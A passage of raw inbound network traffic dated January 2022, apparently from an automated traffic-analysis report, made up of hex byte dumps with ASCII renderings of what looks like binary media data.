a0 e7 76 b4 70 5f 49 a0 86 68 91 5f a4 af 46 2c 6a 44 c8 69 c4 c1 ef e9 4b cd 87 a6 0f 75 14 e8 e5 1d 41 ee e5 36 ee e6 
8e 7c c8 7f 7c e6 a6 7c e5 bb fc e0 c6 fc 9d 74 e9 fe b9 9f 88 30 d6 27 bc 80 de 18 db e6 1a 73 a4 84 f4 8c f3 7b 18 a0 53 
79 87 e2 b4 9f 8b 91 d1 f8 03 d3 d8 9b ae 80 ef 2b 8f fb b4 86 67 9c af 67 82 47 31 13 18 7a 78 c0 96 cf 43 71 fa e5 cf 25 
3e fa e4 df ef fc ae 07 50 d7 82 d5 09 9c a9 8f fa b6 93 fe 91 e8 78 09 a1 14 2a a0 0b 18 eb 36 3f 30 e3 82 2d 28 84 e9 8c 
4f 49 e1 17 11 48 59 84 8c b5 f1 14 cf 58 84 
Data Ascii: M7]mxyM%_9uH~uJ!GP9P)vp_Ih_F,jDiKuA6|||t0's{Sy+ggG1zxCq%>Px*6?0-(OIHYX

2022-01-13 21:05:20 UTC 170 IN Data Raw: 5a e8 52 98 12 bf 29 b0 5f 04 d4 96 65 d8 07 a0 f5 99 24 87 0a f3 e3 93 78 95 26 8c 29 cb 87 6f 5a 88 44 82 28 
c4 8a e0 fe a9 0a 01 7c 22 24 23 49 93 3a 06 e5 8e c4 c9 d9 51 92 12 2e e7 44 65 82 e7 6a de a5 e6 02 2a c8 99 25 3c dc 
59 5a d3 c2 22 88 ba 64 e7 48 78 d1 17 7c c4 47 1f c5 30 11 6f d1 62 0c 7f 0a 63 3a 92 dc 0c 90 a3 33 d3 81 1a b6 36 43 
b2 2d 35 8a ac 18 c6 f2 51 8f 8d d5 66 24 24 aa a5 24 a3 69 40 de d4 ac 28 5a 90 62 51 18 b5 1c 9f c1 28 71 8a db 8a 8d 
1a 51 9e e8 a5 0b 3c 9c 82 0a 19 87 f4 b4 a8 71 25 6a 76 f1 5e 1b 3f e7 c6 59 fa 86 92 be 63 df 64 0c 86 1b f8 59 72 6b f2 
a3 9f fd 80 08 11 b8 29 a4 42 15 c9 07 42 ed 21 9b 85 22 f4 a0 f9 08 0d c6 ee 97 10 3b 1d a4 88 77 13 8c 3d a5 a9 51 fc 
f4 53 6f 44 a9 83 8a 1c b8 1c 08 46 a7 5c 6e 51 5c 
Data Ascii: ZR)_e$x&)oZD(|"$#I:Q.Dej*%<YZ"dHx|G0obc:36C-5Qf$$$i@(ZbQ(qQ<q%jv^?YcdYrk)BB!";w=QSoDF\nQ\

2022-01-13 21:05:20 UTC 171 IN Data Raw: e4 e9 98 58 f8 c8 18 71 16 bb 6c cf fe dd 45 1f 9c c1 d5 88 96 f8 24 99 46 8d 5f 52 ed ca 93 7d c9 ae ec 5b ef 
38 9d 6d 04 93 9a c0 5e ec 51 20 30 70 c1 06 78 01 11 80 00 d8 35 01 13 90 c0 af 55 40 06 58 c1 17 58 c1 12 0c df f0 19 
1b 30 08 04 88 b5 c6 f2 19 c4 3c f0 59 c8 cd a0 21 9a 5a df 74 54 f9 19 de 8b 20 0f 64 51 9a 64 a1 51 19 25 8d 8e d1 9f a6
c9 4b cd 99 c7 d3 ec 9f 1a f9 df be 0c 9d e7 b1 4a 0e 1e 16 03 ae 0e 3f b1 4a c1 40 d9 97 a8 8e ea 09 8a 03 62 d9 ab 49 
60 46 d8 83 3c 34 43 19 68 00 03 58 c1 0f 60 00 d8 5d 81 04 cc e1 06 84 01 28 48 03 2b 90 c1 12 9c a0 1e 2a 41 f1 75 c3 
3d dc d9 fe 84 d4 83 39 54 c2 15 dc dd 21 6e 54 2d 19 56 0d ea 8d b6 ed e0 14 fd e0 63 95 57 cc d1 08 7a 99 db 12 5a 96 
a6 ac 9b e4 45 22 90 d9 8b 58 48 21 15 5a 21 28 8a 
Data Ascii: XqlE$F_R}[8m^Q 0px5U@XX0<Y!ZtT dQdQ%KJ?J@bI`F<4ChX`](H+*Au=9T!nT-VcWzZE"XH!Z!(

2022-01-13 21:05:20 UTC 172 IN Data Raw: cd 0b cd ca da d2 ab 8a b5 6b 80 e5 99 21 51 88 6c 78 83 26 08 01 08 e4 40 54 9a 40 08 fc a2 f1 c5 c3 e9 a6 
6e 85 24 94 3d 50 43 18 28 81 00 0c 9f 26 7c 03 55 ce 4d 47 4c 97 34 5e 97 c1 bc c4 91 ea ee 0a 25 ae 4b 4c eb 67 d6 20 
e1 69 01 77 22 c7 36 95 cb b6 d6 18 ba 94 c5 bb 81 ab 38 2d 21 4b f9 18 22 1c 21 a8 94 47 b9 fe 8d 45 e1 42 2f f8 c8 12 
01 0f ea 9f da 47 00 d7 44 2f 05 ed 5f 48 a7 0c e5 d5 3e d2 0c 6a b5 5e 40 e2 eb f7 b6 15 18 04 41 0a f8 80 07 f8 80 08 74 
80 04 68 01 2b 94 03 88 36 94 41 c9 9e 6c 80 43 19 18 67 96 2a 41 25 5c c3 eb c0 de 74 f5 d9 ed 3a ab 00 b7 2b 96 2c 
ae e4 c2 8a 8b b6 08 fa fd 4c ca 8e db 7a 31 2f bb c0 6c 3b 4d 8e e4 c9 0b ba b4 2c fe d9 05 23 f4 df 50 da 97 49 76 57 0d 
1e 1a eb 31 dd b3 24 8c f6 0a 8a fb bc a2 67 a8 09 d5 
Data Ascii: k!Qlx&@T@n$=PC(&|UMGL4^%KLg iw"68-!K"!GEB/GD/_H>j^@Ath+6AlCg*A%\t:+,Lz1/l;M,#PIvW1$g

2022-01-13 21:05:20 UTC 174 IN Data Raw: 7b 47 55 d7 78 1a 49 34 7e 77 a6 e8 c8 fe b1 d0 1e 5a aa 35 6e b6 4b 53 f7 a2 79 ec 6c fa 26 70 01 04 80 ba 
21 b7 c0 0b a4 80 a9 2b 94 88 7e 58 e0 b3 66 86 7b c1 03 0c b6 04 2c 41 2d 90 6d 9a 8f 28 dd 44 e3 34 16 75 4f d9 ba 6c 
3b 7c d5 b3 6d cf 2a 35 61 3a f5 b7 d1 b2 54 47 56 07 73 85 5a 9c 67 e5 2d 4d 8e 5b 0e 4d 8d f6 8f 07 25 58 d7 97 ca 93 
b5 4c 14 6a 8a 5b c6 7f cc 00 0b cf eb 88 60 a7 1f fd 93 6c d1 7d ff e4 03 3d a8 e5 42 b2 34 70 bf 40 96 7b c3 71 cb 5a c5 
ae cd 3d 3c 83 17 4c 00 d3 0f ac be cf 16 49 eb c3 74 85 42 da b6 39 cb 54 c9 ee 52 52 df 5c 7e 62 d4 d1 d5 0b 47 40 cb 
41 ca 65 53 77 3e 9a b8 24 9e 4d ba 5f d3 ec a4 12 9a f1 78 7c c7 2f df c8 7a 7f 0a 1b 9b 76 7d 3d fb a2 f3 1d 34 37 25 40 
98 98 31 23 06 41 1a 03 11 26 9c 71 43 e1 8d 82 0a 
Data Ascii: {GUxI4~wZ5nKSyl&p!+~Xf{,A-m(D4uOl;|m*5a:TGVsZg-M[M%XLj[`l}=B4p@{qZ=<LItB9TRR\~bG@AeSw>$M
_x|/zv}=47%@1#A&qC

2022-01-13 21:05:20 UTC 175 IN Data Raw: e0 80 20 74 e2 1b 6b d2 5e 9f 7c a8 8f 7a 54 23 14 fa 12 5a 44 ee e6 46 81 89 92 94 b9 b9 63 82 4e 39 11 bb 
10 8e 2e 7a 89 22 21 12 07 98 c1 5c 51 63 1c eb 4c 8b 26 b7 99 10 d1 08 55 24 c2 65 67 b2 a8 b2 d1 2c a2 11 38 f2 03 1a 
18 b8 c0 d8 34 f0 81 7a 63 22 59 9e 19 91 24 15 84 2b 3f 13 52 1d 4b 19 11 8e 48 02 1b ce 7a 16 1f 51 22 1d ee b9 a4 3e 
e5 28 c3 09 05 a0 84 0c ac 60 05 2c a0 80 15 80 c1 0e a7 74 ed 27 71 12 46 17 32 50 01 15 5c 81 01 58 00 c6 3a d6 94 
3d a9 6c 0f 2a 40 bc 02 0a 98 44 44 8c 20 88 67 d1 2c e5 fe a4 1c 3a 91 88 66 b3 41 11 9b d8 a6 f8 c2 07 58 52 a6 8a 8d 
a3 a5 87 10 d1 31 56 45 a6 44 a9 ea 4c ff 5a f5 aa 93 85 94 7f a3 21 63 01 8f 09 33 06 92 4e 49 c6 a2 e8 44 52 99 96 dd 
f4 e6 20 25 38 08 b1 66 80 cd b4 e4 94 41 32 b8 42 25 f4 98 
Data Ascii:  tk^|zT#ZDFcN9.z"!\QcL&U$eg,84zc"Y$+?RKHzQ">(`,t'qF2P\X:=l*@DD g,:fAXR1VEDLZ!c3NIDR %8fA2B%

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 176 IN Data Raw: 95 ce b0 0c 19 84 af da 07 8a 80 0f 96 aa ac a3 88 6f 31 60 44 56 90 cf 32 48 70 45 e6 6b 31 ec ce ee 1a 41 fa 
1a 21 a6 72 65 cd d8 4c 0d cf 6e 2d 32 e2 50 74 f0 67 1e 66 02 25 62 e7 3e 68 08 bb e4 00 9b 86 3a 1c 8d 1d ba 61 09 24 
00 ff 9c fe 70 04 e8 6f 13 43 c0 e8 3a 60 ff 2a 80 02 fc 6f 03 c2 80 13 e4 a5 eb bc 6e 1f 0c 50 b6 28 cf 24 dc a6 93 64 00 
d5 16 4a 02 71 b1 51 f8 86 ed 94 a8 17 c7 cb 11 23 28 ed 00 a7 f6 ce 82 18 bf 22 62 f0 82 b0 28 24 43 0e 81 8a 18 07 cb 
42 e4 03 6b 44 72 48 2e 73 2a c3 55 1e 43 be 52 d0 34 72 24 74 14 c8 f0 d4 e8 93 d6 30 0d 17 86 1c 89 2c 21 60 87 82 
66 a0 04 ba 8f 8e 4c c9 1c 05 cc 2c 68 c0 a8 6c 07 86 c0 d0 e7 cc 8d 3a 20 4d 1e da 21 6a f0 0f e9 a6 70 02 52 80 04 44 
80 4c 26 a0 78 4e 51 03 b8 a0 0c a8 a1 d3 1c cd eb d8 
Data Ascii: o1`DV2HpEk1A!reLn-2Ptgf%b>h:a$poC:`*onP($dJqQ#("b($CBkDrH.s*UCR4r$t0,!`fL,hl: M!jpRDL&xNQ

2022-01-13 21:05:20 UTC 178 IN Data Raw: 78 b6 98 cc 88 47 5a e3 05 97 08 d6 48 b7 2c 1e a2 75 82 46 50 21 c2 58 4b 29 06 f0 c4 76 34 57 72 3b 75 69 
0c 35 81 a5 c5 a0 d0 56 42 1d f7 74 fa 77 4f e3 52 94 44 92 70 e0 b5 0d e0 0e 0e 5b d7 75 61 15 4d 4d 34 3a 87 2d 45 82 
96 44 ff 16 be 4a a3 57 91 76 40 f2 f4 4b 69 f0 45 a5 09 51 b8 02 50 8b 95 36 7e 13 75 92 4c f7 4a 20 07 6a e7 68 dc 44 
81 c7 6d 12 1b 38 c7 2a ef 7a 59 22 ae aa 40 06 6c 80 4f 19 66 06 c5 f7 7b 1f 85 a8 96 ac 4b 25 42 42 d8 60 42 4a d2 4c 
e7 b6 71 ec 76 7e c9 4c 76 05 c8 4d 6f d5 64 50 26 60 3b e7 44 75 04 7f 91 36 1c f7 f7 8d 29 73 b5 06 02 3d 71 90 71 4d 
77 2c c4 cf 81 85 38 6b 89 b0 8f a6 c3 a0 5e 40 2e 08 d8 99 8c a3 71 61 d6 74 d1 a2 82 5f ad 5f 7c 85 d5 8c 48 66 97 51 
03 d7 ab 43 5e fe 57 d9 46 43 76 2f a7 a5 58 c5 44 c2 0c 
Data Ascii: xGZH,uFP!XK)v4Wr;ui5VBtwORDp[uaMM4:-EDJWv@KiEQP6~uLJ jhDm8*zY"@lOf{K%BB`BJLqv~
LvModP&`;Du6)s=qqMw,8k^@.qat__|HfQC^WFCv/XD

2022-01-13 21:05:20 UTC 179 IN Data Raw: 69 9f 9d e6 99 5c 2d 6e 10 3d 65 74 dd 03 fe f6 f2 e8 4a 52 9e eb b5 84 d8 6d d9 eb f1 e1 d8 3b a9 05 6c 40 ed 
55 2d c8 d4 d9 23 d9 56 38 15 de 7c f5 92 a3 7c 5e 56 c7 48 3a c5 1a ad 49 2a ce 3d 03 b4 55 45 4e 4d 45 dc 49 b9 fa d0 
c7 d5 48 cb 18 25 e5 e3 27 02 71 2f e8 fb fa 3c 58 1c 8a d0 91 6a fc 20 7f 59 49 16 d4 f0 61 1f f8 e1 d8 f7 fd ba 92 48 f7 b5 
cf 70 75 9f cf d7 fe a3 25 b9 75 e5 de 6e 4f 7f 4e 4b 98 56 c8 7a 7f 4c da ee 78 c9 fe 56 fc 9e ad ef 26 78 c3 cb e6 17 31 
c3 17 3f 41 90 c3 23 66 b9 f8 0f bd 53 41 93 4d 2a bf 41 4d 80 ec af 9e 1c 6f 7e ff 45 cb f7 00 a2 0d 9f 81 7c fc 04 22 44 a8 
10 21 41 08 09 31 7a 08 31 22 23 47 8f 1c 31 52 a4 e8 62 23 8c 8a 04 35 6a 74 91 63 a1 8e 85 4a 16 02 29 31 25 a3 8f 8d 
02 9d 81 e2 e4 44 4c 27 33 62 ce b8 89 
Data Ascii: i\-n=etJRm;l@U-#V8||^VH:I*=UENMEIH%'q/<Xj YIaHpu%unONKVzLxV&x1?A#fSAM*AMo~E|"D!A1z1"#G1R
b#5jtcJ)1%DL'3b

2022-01-13 21:05:20 UTC 180 IN Data Raw: d1 72 98 b3 1f af e8 26 c3 a0 80 f1 51 40 92 01 76 04 d8 18 a3 60 72 3c fb c3 65 4e d0 83 24 25 a1 51 8d ed 
e1 97 95 30 e8 2f bd 4c e9 2e b1 43 15 3f f8 b1 8f fe 6b 5e f3 1e 79 2c 06 1f 25 71 04 22 24 a1 07 48 28 a7 0d b0 53 03 45 
ca c0 04 36 f0 df 2e 89 44 c3 9c 18 33 97 d2 9b e7 a3 ec d9 a8 78 1e 05 42 12 22 d6 c7 4a f3 b7 d3 04 2e 88 10 79 16 47 
f4 c4 27 57 96 4f 37 bc 89 0d 47 4c 29 1b 47 28 c2 11 7d 40 03 14 a4 68 13 5b f2 f2 79 c3 74 8e 26 2d 73 a9 ed 68 a7 04 
1b 1d cc 47 c5 78 18 ed 6c 4a 99 cc c4 57 5a aa 54 2a bd bc f1 4a ab ba cb 3e b2 14 b0 78 bc e3 1d e6 30 87 2e ca 10 86 
23 08 95 08 44 f0 41 12 7c 50 4e 24 f8 e0 3c e9 5c 67 0c 9e fa 4e c2 9c 74 5c 53 6d 54 55 49 57 c9 8e 12 48 6f 6e 2a 4d 
20 50 e3 c3 1f 0e ae 22 ce 32 9c 9e cc a7 b8 8f fc 49 
Data Ascii: r&Q@v`r<eN$%Q0/L.C?k^y,%q"$H(SE6.D3xB"J.yG'WO7GL)G(}@h[yt&-shGxlJWZT*J>x0.#DA|PN$<\gNt\S
mTUIWHon*M P"2I

2022-01-13 21:05:20 UTC 182 IN Data Raw: 36 68 75 15 1e 98 32 7e 27 05 37 aa 35 79 3b 47 03 60 64 79 30 e4 7e 42 87 63 a1 02 5e d5 14 64 ad 32 59 
78 64 0e 96 35 06 08 63 04 1a b0 01 27 b4 02 12 40 02 55 c8 04 12 30 02 23 d0 30 5a f8 1d 5e d8 1d 80 f5 5f da a1 4e 32 
90 4e c0 d4 76 75 33 6c 43 91 81 6d 13 31 6a 57 81 57 64 20 55 05 37 6d 02 1a 6d 40 87 1d b8 1a 78 b8 6c 73 c6 32 e6 
f3 77 26 48 12 27 31 78 75 76 50 2c d1 07 51 70 51 33 11 2e 30 98 31 6b 18 43 db 41 03 01 f4 54 87 f1 86 97 77 14 47 23 
2f 2c 15 16 45 08 41 f1 f8 3a b0 53 35 f0 56 7f 91 35 64 f1 e0 0e e6 d0 6f 08 c3 05 00 97 01 53 37 01 01 d8 8a 4c 30 02 06 
19 13 85 66 02 c8 23 2e b9 a6 19 35 30 8b 38 91 1d 2d 74 fe 8b a5 a5 68 e9 78 81 49 81 91 19 89 23 c6 d6 66 06 d1 43 
25 e1 8c 79 d7 5b 7c 97 38 c5 85 72 0c 75 12 85 b0 72 75 b6 11 
Data Ascii: 6hu2~'75y;G`dy0~Bc^d2Yxd5c'@U0#0Z^_N2Nvu3lCm1jWWd U7mm@xls2w&H'1xuvP,QpQ3.01kC
ATwG#/,EA:S5V5doS7L0f#.508-thxI#fC%y[|8ruru

2022-01-13 21:05:20 UTC 183 IN Data Raw: c8 9b b8 d8 04 4d 0c 54 53 9d e6 a9 c9 20 0c 9b 10 09 92 e0 05 5e 00 48 80 54 54 52 76 b5 34 60 2b 39 d0 b9 
19 47 31 a5 ab 62 a0 8b c0 c4 a9 26 c1 12 c3 3c 71 ba 10 46 a7 02 65 bf ae cb 87 b5 91 92 28 ea c3 7e 88 22 05 85 61 6e 
a5 8d 32 29 73 0e b3 a6 2a 36 7e 37 b9 13 2e d4 23 3a 41 be 3e 29 7e ed 9b 13 28 00 b4 88 4b 3b f7 b6 99 4b 42 b4 f7 
71 0f 50 2a a5 fe 93 a0 af 23 1c 42 47 85 5f 48 20 be b8 46 48 ff 53 b1 62 fb 48 63 4b a1 56 fc b5 45 43 19 65 fb 49 7c 90 
b6 61 15 b2 1c e2 3e 80 a8 56 d2 16 22 b0 fb c3 b5 01 6d 83 ec b2 2c 81 b7 db 56 39 05 8c 23 35 8c 20 db d1 14 0c 0c 4c 
2e 7c 36 e2 88 1d 26 60 b8 eb 6a 0f fb a0 bc 3a d6 79 f7 01 30 9e fa 0b bf 70 04 ba 20 54 47 00 09 66 3c c2 f9 d5 4e b7 
c7 80 b3 a6 48 3a 78 a8 cb 03 c9 73 f3 c6 b7 dc 91 1e f7 
Data Ascii: MTS ^HTTRv4`+9G1b&<qFe(~"an2)s*6~7.#:A>)~(K;KBqP*#BG_H FHSbHcKVECeI|a>V"m,V9#5 L.|6&`j:y0p 
TGf<NH:xs

2022-01-13 21:05:20 UTC 184 IN Data Raw: 83 5a 29 03 70 70 0a b1 40 0b b3 60 0a 96 60 09 7a d0 03 39 90 e8 39 e0 02 2a fe ec fa 3d 00 cf 52 fe 9d d7 f1 
54 e7 58 14 9e 0b f3 2d 8c f7 d3 5c f0 ce 33 f3 49 c1 26 0b b6 37 ff fc cb 22 27 ef d0 dd 67 e4 73 78 08 2d 6d 1d 76 8d 2e 
c9 12 0f 41 e2 37 03 cd db 2a 58 70 28 ee c0 b2 98 2c 5c e5 dc ff 86 eb f2 54 49 90 07 a3 60 0a a3 90 07 70 60 03 4d 5e 
65 52 86 03 2a 8c e0 b9 a6 d1 cf 11 14 12 d8 b5 bd cf fd fa 7f e5 56 5e 66 72 03 10 72 04 0e 6c 23 a7 20 1f 84 84 fc 10 22 
54 68 21 43 42 8c 24 4e a4 a8 48 a2 22 8c 8a 1a 21 6a 94 51 d0 46 46 8a 38 12 12 24 a8 90 c9 42 8d 0a 31 22 84 91 e3 
4b 91 8d 18 35 72 c4 28 d0 19 28 4e 4e e8 74 32 83 e7 0c a0 40 63 04 25 5a d4 e8 51 a4 49 95 2e 5d 3a 94 e9 53 a6 32 
66 c4 a0 31 54 ea 54 a8 59 b5 6e 2d 7a c3 29 54 19 31 
Data Ascii: Z)pp@``z99*=RTX-\3I&7"'gsx-mv.A7*Xp(,\TI`p`M^eR*V^frrl# "Th!CB$NH"!jQFF8$B1"K5r((NNt2@c%ZQI.]:S2f1
TTYn-z)T1

2022-01-13 21:05:20 UTC 186 IN Data Raw: 52 a3 4e 40 99 ba 5c 2a c6 87 3a f4 96 5d b4 89 cb 8f 35 09 9c 59 59 20 50 6c 70 b8 6c 66 05 8e 8c 59 e7 7b 
da 89 a5 71 a6 93 70 5a f9 52 1d 1c 27 b0 cf 74 f0 60 e2 03 9d d4 1c 36 21 42 70 0e 25 01 0d 11 b3 5e 63 21 34 9e c8 4f 
a8 1b db 54 50 e6 cb 42 59 4f 65 48 f1 66 45 f1 b6 94 5d 3e 2a a3 14 d5 61 38 e3 d9 17 be b1 72 a3 ba 84 dd 48 35 4a 20 
88 ba ce a4 59 b1 d5 81 f8 90 20 c9 f1 8a 69 e1 ab 1c 26 25 f2 48 97 28 6c 99 b9 69 e6 85 c4 c8 92 9c 3a 6b 9a 2f ec 03 
1a a6 65 cd 9a 65 f3 9d aa 02 29 45 e5 f9 d4 7d d9 eb a3 fc a2 d2 52 e9 63 d5 e4 d0 0b ab f1 fe c2 d7 97 d8 90 2b cd 74 
46 21 0a 61 e4 31 21 94 88 69 96 50 73 22 49 49 87 d4 27 88 65 bd a6 35 b7 49 a3 6f 56 14 9c dd 95 f3 63 2b 85 6a 5f 21 
c8 57 bf 56 0f b0 81 65 cf 60 ad 44 c5 31 c5 54 34 33 35 
Data Ascii: RN@\*:]5YY PlplfY{qpZR't`6!Bp%^c!4OTPBYOeHfE]>*a8rH5J Y i&%H(li:k/ee)E}Rc+tF!a1!iPs"II'e5IoVc+j_!W
Ve`D1T435

2022-01-13 21:05:20 UTC 187 IN Data Raw: 0b 11 40 ac 24 df 72 8d 1e 3b bb 12 e9 c2 a3 5a 3b 26 08 43 94 32 2c 36 bc c4 ab 22 8c 4a 14 43 5b 34 8e e3 
ab c5 2b 29 15 5c b9 0c 3c 24 04 40 c8 3f d1 98 88 fd 23 45 8b 58 89 dd 90 93 2b fc 10 8c 1b 36 45 08 ba e2 12 b2 df fb 
0a 4d 74 94 57 ca c6 5d 14 42 6e 74 a0 23 54 9c 70 fe 8c 32 94 49 c2 af b2 35 27 cc 27 d1 d0 9a 45 7b 38 d3 28 11 53 84 
98 f4 b9 1a 99 90 c6 60 69 45 a3 82 b3 46 8c b3 20 1a 47 69 1b 
Data Ascii: @$r;Z;&C2,6"JC[4+)\<$@?#EX+6EMtW]Bnt#Tp2I5''E{8(S`iEF Gi

2022-01-13 21:05:20 UTC 187 IN Data Raw: 43 35 5c be 12 8b aa 28 63 b6 5c fc 47 e4 cb 3b a1 08 48 9c 61 1d e5 48 29 5f 1c a4 81 28 3d 3a 38 88 99 33 
18 b8 32 c5 34 a1 08 3f 84 10 68 a4 88 4a b2 9a 42 24 21 ae 69 8d 45 98 9a 17 82 21 9c e8 38 58 79 3a 7f 04 a4 e9 f8 1b 
6e 64 c8 a7 d3 a6 4d 7c c9 79 f2 3c 9d a4 bc f7 40 30 85 9b b9 85 80 2b 76 9c 88 47 70 c7 89 98 a4 78 14 3b b7 9a 89 a9 
29 1f d8 78 16 a2 b2 ab f9 f1 30 9c ec 46 a5 78 a8 ab a4 c9 da 49 ba 16 89 40 2d 89 15 6c 89 48 78 11 4b d5 d1 ca 2b 41 
ac d9 62 08 40 80 2b a7 19 45 ea 0b c4 99 98 8d 00 2c 09 68 e4 3e b9 aa be 6a 02 c3 1a 94 33 7b 73 c9 08 9c aa 83 b4 
ca 47 11 0c a1 d1 2a a7 83 91 6c 94 b2 6f f4 ab fe 4e 94 83 04 0b a6 84 60 b8 62 64 84 a1 34 4a 90 a4 c2 72 4b 09 0e 89 
b4 7a f4 31 49 9a ac a8 94 9f 37 6b bb b0 34 cb 84 54 1c c1 
Data Ascii: C5\(c\G;HaH)_(=:8324?hJB$!iE!8Xy:ndM|y<@0+vGpx;)x0FxI@-lHxK+Ab@+E,h>j3{sG*loN`bd4JrKz1I7k4T

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:20 UTC 189 IN Data Raw: a5 4b 5f 4d 26 9c c3 30 96 95 db 35 fa d4 6b d4 d0 ae 90 3b 86 f4 62 ba ed 63 c4 e8 23 4e 06 bd 0d 1c 64 0b 
0a a6 31 59 2c 90 1d 5a 33 3e e3 84 22 21 ed 45 04 cd ac 2c ba 24 a1 34 33 61 aa 91 dc 62 9d 1f 75 25 5f 4f 56 43 1a be 
d1 d0 d5 63 9d 31 54 1b 4e 22 ec f9 e5 1d be e0 c6 31 a4 c8 ec a0 75 4c 04 a2 44 e4 a3 c4 1a 0c a9 ac 7a 9c 98 93 8d dc 
7e fe 92 c6 26 6e d0 c9 d3 53 ce 0b 65 76 bd af ad cc 51 89 65 b2 51 f5 64 e5 fb d0 43 fa 40 1a 1b e2 dd a8 54 87 91 8d 
88 68 e4 66 0a a8 64 ba cb 9c 12 16 46 88 5b 4a f6 38 9b 29 5f f8 45 e6 1b 2e 4c fc 14 90 88 2d df a7 7a 56 61 06 66 75 f6
0f d2 15 46 98 42 3d 3d 6c 2c 56 86 c6 df e4 cc 90 f0 9c 93 85 64 56 34 28 f1 b4 a6 2f 5c b1 55 b5 e0 5c 82 bf a8 33 69 4c 
2c 3f 4d 7e c9 22 c3 96 74 de 0a 7f a1 c3 fa 23 84 
Data Ascii: K_M&05k;bc#Nd1Y,Z3>"!E,$43abu%_OVCc1TN"1uLDz~&nSevQeQdC@ThfdF[J8)_E.L-zVafuFB==l,VdV4(/\
U\3iL,?M~"t#

2022-01-13 21:05:20 UTC 190 IN Data Raw: 72 24 c9 92 26 4f 7e 44 a9 72 25 cb 96 2e 5f 36 94 53 47 8b 9c 9a 72 fe e8 50 a1 43 87 8f 9f 40 7e 08 15 02 44 
48 28 a3 a2 46 8d 36 3a ca 48 91 a2 46 85 1a 39 6d 24 48 6a 23 45 4b 0b 31 a2 2a 48 d0 53 a8 45 9b 2a 42 54 55 50 53 
a8 66 03 45 81 32 f0 84 c1 83 4e 14 82 74 19 e3 06 cc 87 73 eb e2 8d 78 37 af c7 bd 25 fd 2e 04 cc 77 86 e0 96 85 07 13 
a6 8b 38 b0 e2 c5 8e f1 1e 3e 18 59 72 e3 8a 36 67 da a4 d3 86 cf ce 40 9e 81 0a 1a 7a 94 90 d2 ac 46 99 32 65 d4 55 11 
d9 aa 59 bb 6e 2d 34 35 2a a2 a5 4c ab 82 45 bd a8 91 a3 3e 67 a0 18 0c 2e 50 e1 f0 c7 c6 13 76 44 98 7c 63 e5 e3 24 
97 57 84 0e 33 ae 73 95 d2 ad 53 57 9e 7d e4 75 c7 d0 bb 47 df 5e 7d 7c 48 9b 35 d9 dc a4 d2 66 27 4f 42 7e 82 12 25 ad 
54 7e 52 d3 a9 cb 3e 6d 5d c8 ea 6b a7 5b a7 12 e2 95 6d b6 
Data Ascii: r$&O~Dr%._6SGrPC@~DH(F6:HF9m$Hj#EK1*HSE*BTUPSfE2Ntsx7%.w8>Yr6g@zF2eUYn-45*LE>g
.PvD|c$W3sSW}uG^}|H5f'OB~%T~R>m]k[m

2022-01-13 21:05:20 UTC 191 IN Data Raw: 24 a1 d3 6c 8c 56 b7 d4 55 50 82 15 ab e1 bb 69 14 2f b3 ad 12 b6 0f a3 a4 01 99 e3 2c a9 4f fc 7d d1 9e b1 
21 26 19 eb 69 d2 1c 12 8a 99 54 5d db 42 ac 1a c4 9c 72 44 ac 82 7d d6 92 00 3b 37 d8 f5 71 81 0f 25 9c 4c 4c 94 93 12 
1e d2 3d 80 68 51 ef da 5a 2e d4 30 65 5d ae 21 9e 8e 2c 97 95 da e4 06 50 4f 35 cb 1e e0 58 40 b6 41 f3 88 62 fd 2a 73 
1e e3 17 d6 fe ec 6e 32 7d e5 f8 0a 4a 3d 0e cd 36 b6 18 cc ed c0 b6 1a d1 88 14 2e 63 b8 5b 91 c7 d4 ca 9f 90 29 d3 56 
f4 c2 11 ab f6 77 46 ac d0 ea a4 fb e4 cd 32 39 d7 43 b7 04 46 24 86 e5 c8 62 09 6b fe 97 88 11 86 42 db 65 c8 78 eb d2 
5d ee 9c 97 a7 7c d4 59 79 07 6b 19 9f de ce 27 85 78 0f 3b 8b 0a 23 74 b5 8c 2c b6 f9 9a f1 12 99 3f 56 9d 74 4e a6 49 
8a 26 13 84 da 1f 5a 24 89 b0 b5 db 73 a0 99 91 07 5f 15 
Data Ascii: $lVUPi/,O}!&iT]BrD};7q%LL=hQZ.0e]!,PO5X@Ab*sn2}J=6.c[)VwF29CF$bkBex]|Yyk'x;#t,?VtNI&Z$s_

2022-01-13 21:05:20 UTC 193 IN Data Raw: 61 4c 40 5f cd f9 81 21 dc 5c fb 80 1e 7d 2c 5c 3e 15 85 c7 00 c5 4a da 23 2e b2 0c 4a fd 86 92 08 04 32 46 cf 
b0 0c 1e c6 99 04 45 16 4c 1d 3e 1d 01 56 63 13 da e1 4d 79 e4 4b 14 65 48 1c e5 71 24 e5 86 f0 24 62 34 e5 4e a2 c4 
52 4e 63 0c 4c 9b d3 70 9e 20 b0 63 25 59 fe df 22 ce c8 b8 a8 86 57 96 8b 51 60 4d a0 30 82 23 28 82 6f ac e1 33 15 07 
f0 41 c4 35 6e a4 26 06 20 d5 41 a3 bb 3d 58 5d ce da bd d5 a1 5d ca 1a 5e f2 65 1d 8e e2 5f 1e 5a ed 31 24 29 0e 60 60 
96 e2 d4 5d 98 5e 26 a6 4f 5e a3 5e 5a 58 5f e2 e5 a0 e1 65 84 f9 e4 3f a6 44 46 34 e6 63 de a5 5d 36 a6 62 42 23 64 7a 
e6 5e 4e 66 ad 85 26 85 c5 65 c7 0d 94 66 8a e6 66 06 25 6b 2e 26 be 55 a6 69 42 e6 65 86 57 69 fa cb 6c ae a6 35 c6 
a5 63 d2 21 6d e2 a6 6c 7e a6 6a 52 d8 6f da e1 b5 e0 66 5f 
Data Ascii: aL@_!\},\>J#.J2FEL>VcMyKeHq$$b4NRNcLp c%Y"WQ`M0#(o3A5n& A=X]]^e_Z1$)``]^&O^^ZX_e?DF4c]6b
B#dz^Nf&eff%k.&UiBeWil5c!ml~jRof_

2022-01-13 21:05:20 UTC 194 IN Data Raw: 0c 4c 61 76 63 35 36 2e 31 2e 31 30 30 00 2c 00 00 00 00 a1 01 95 01 00 08 fe 00 e5 c8 a9 43 87 8e 1f 3f 80 
04 15 22 c4 b0 21 a3 87 10 1b 4a 24 04 11 a2 a2 8b 18 2b 3e 44 d4 a8 91 22 8f 7d da a0 81 e2 84 06 8d 13 34 66 a4 9c 
c1 b2 a5 cb 97 30 5b fe 9b f9 8f 25 cd 9b 38 73 ea dc c9 b3 a7 cf 9f 40 83 0a 1d 4a b4 a8 d1 a3 48 93 2a 5d ba 74 20 1d 
